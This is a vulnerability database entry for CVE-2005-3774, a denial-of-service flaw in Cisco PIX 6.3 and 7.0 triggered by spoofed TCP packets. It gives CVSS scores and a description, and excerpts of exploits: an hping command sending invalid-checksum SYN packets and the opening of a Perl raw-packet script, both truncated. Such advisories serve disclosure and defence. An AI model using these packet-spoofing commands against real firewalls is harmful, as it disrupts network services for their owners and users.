5
CVSSv2

CVE-2005-3774

Published: 23/11/2005 Updated: 19/10/2018
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
VMScore: 510
Vector: AV:N/AC:L/Au:N/C:N/I:N/A:P

Vulnerability Summary

Cisco PIX 6.3 and 7.0 allows remote malicious users to cause a denial of service (blocked new connections) via spoofed TCP packets that cause the PIX to create embryonic connections that that would not produce a valid connection with the end system, including (1) SYN packets with invalid checksums, which do not result in a RST; or, from an external interface, (2) one byte of "meaningless data," or (3) a TTL that is one less than needed to reach the internal destination.

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cisco pix 6.3

cisco pix 7.0

Exploits

# The easy way by logic logidev@gmailcom (line 2) untested /str0ke # hping -c 1 -S -s 31337 -k -b -p 22 100xxxxx #!/usr/bin/perl eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@; eval ("use Net::RawIP;");die "[error] Net::RawIP perl module is not installed \n" if $@; eval ("use Term::ProgressBar;"); d ...
source: wwwsecurityfocuscom/bid/15525/info Cisco PIX is susceptible to a remote denial-of-service vulnerability when handling certain TCP SYN packets This issue allows attackers to temporarily block network traffic to arbitrarily targeted TCP services By repeating the attack, a prolonged denial-of-service condition is possible This i ...